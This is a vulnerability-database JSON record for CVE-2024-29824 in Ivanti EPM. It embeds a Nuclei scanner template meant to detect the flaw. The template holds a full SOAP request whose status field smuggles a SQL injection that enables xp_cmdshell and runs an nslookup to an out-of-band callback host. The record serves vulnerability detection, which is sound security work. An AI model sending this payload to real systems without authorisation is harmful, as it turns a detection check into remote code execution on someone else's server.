{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-29824/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-29824/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-29824/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-29824/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-29824/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-29824"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-29824"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-29824.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-29824\n\ninfo:\n  name: Ivanti EPM - Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.\n  impact: |\n    Attackers can execute arbitrary code on the Ivanti EPM server, leading to complete system compromise.\n  remediation: |\n    Apply security updates for Ivanti EPM that address CVE-2024-29824.\n  reference:\n    - https://github.com/horizon3ai/CVE-2024-29824\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-29824\n    - https://forums.ivanti.com/s/article/Security-Advisory-May-2024\n    - https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/\n  classification:\n    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.6\n    cve-id: CVE-2024-29824\n    epss-score: 0.99938\n    epss-percentile: 0.99971\n  metadata:\n    max-request: 1\n  tags: cve,cve2024,ivanti,epm,sqli,rce,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /WSStatusEvents/EventHandler.asmx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/soap+xml\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <soap12:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\">\n          <soap12:Body>\n            <UpdateStatusEvents xmlns=\"http://tempuri.org/\">\n              <deviceID>string</deviceID>\n              <actions>\n                <Action name=\"string\" code=\"0\" date=\"0\" type=\"96\" user=\"string\" configguid=\"string\" location=\"string\">\n                  <status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'nslookup {{interactsh-url}}'--</status>\n                </Action>\n              </actions>\n            </UpdateStatusEvents>\n          </soap12:Body>\n        </soap12:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: content_type\n        words:\n          - 'application/soap+xml'\n\n      - type: word\n        part: body\n        words:\n          - 'UpdateStatusEventsResponse'\n\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100b20e536ccefdda828fd9ee2871feec9d07bdc09639d0483e0552de3cb4b0993d02210090559b991ff46201a0a74c4c8479eb7921f1adfa118c2dd937e6321d2339a104:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-29824"
}